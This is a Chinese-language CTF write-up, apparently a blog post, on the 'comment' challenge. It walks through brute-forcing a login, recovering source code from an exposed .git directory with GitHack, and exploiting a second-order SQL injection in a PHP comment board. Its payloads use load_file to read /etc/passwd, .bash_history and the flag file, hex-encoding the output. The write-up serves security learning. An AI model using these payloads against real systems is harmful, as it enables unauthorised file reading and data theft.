CTF之comment

网站的登录框里有提示

账号:zhangwei

密码:zhangwei***(后三位要自己猜)

用burpsuit抓包爆破发现密码为zhangwei666

进去后就一个留言榜(目前没发现怎么用)

扫一下网站发现git泄露

1.下载

进入root用户,下载克隆git hack库

git clone https://github.com/BugScanTeam/GitHack

下载完成后,进入GitHack,发现5个文件,说明ok了

2.使用

*****使用GitHack时,一定要在Git Hack目录下*****

 python GitHack.py 链接/.git/

首先看kali中的python版本,GitHack必须使用python2

需要将python该为python2

 python2 GitHack.py 链接/.git/

出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件

然后就是用GitHack下载源码

python2 GitHack.py  http://61.147.171.105:62125/.git/ 

下载的文件会在dist目录下

查看源码,发现好像代码不全

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用命令补全

php 复制代码
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

代码审计

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中

category和content我们可以控制

其中注意这个sql语句是换行的,我们要用/**/ 进行拼接

php 复制代码
$sql = "insert into comment
            set category = '111',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

在category 构造payload: 111',content=user(),/**

在详细里我们提交 */# 来闭合,这里得到了用户

同理构造查看密码

php 复制代码
111',content=(select(load_file('/etc/passwd'))),/*


*/#

构造读取他的history文件,查看历史记录操作

php 复制代码
111',content=(select (load_file('/home/www/.bash_history'))),/*


*/#

发现原本/tmp/html/目录下有个.DS_Store文件

构造查看这个文件

php 复制代码
111',content=(select (load_file('/tmp/html/.DS_Store'))),/*

*/#

发现长度不够

构造HEX编码

php 复制代码
111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*


*/#

发现是16进制编码

十六进制到ASCII文本

解码发现flag_8946e1ff1ee3e40f.ph文件

构造查看

php 复制代码
111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*


*/#

同样解码,发现flag

$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";

相关推荐
Python私教3 小时前
model中能定义字段声明不存储到数据库吗
数据库·oracle
Red Red5 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
BestandW1shEs6 小时前
谈谈Mysql的常见基础问题
数据库·mysql
重生之Java开发工程师6 小时前
MySQL中的CAST类型转换函数
数据库·sql·mysql
教练、我想打篮球6 小时前
66 mysql 的 表自增长锁
数据库·mysql
Ljw...6 小时前
表的操作(MySQL)
数据库·mysql·表的操作
哥谭居民00016 小时前
MySQL的权限管理机制--授权表
数据库
2401_857610036 小时前
SpringBoot社团管理:安全与维护
spring boot·后端·安全
wqq_9922502776 小时前
ssm旅游推荐系统的设计与开发
数据库·旅游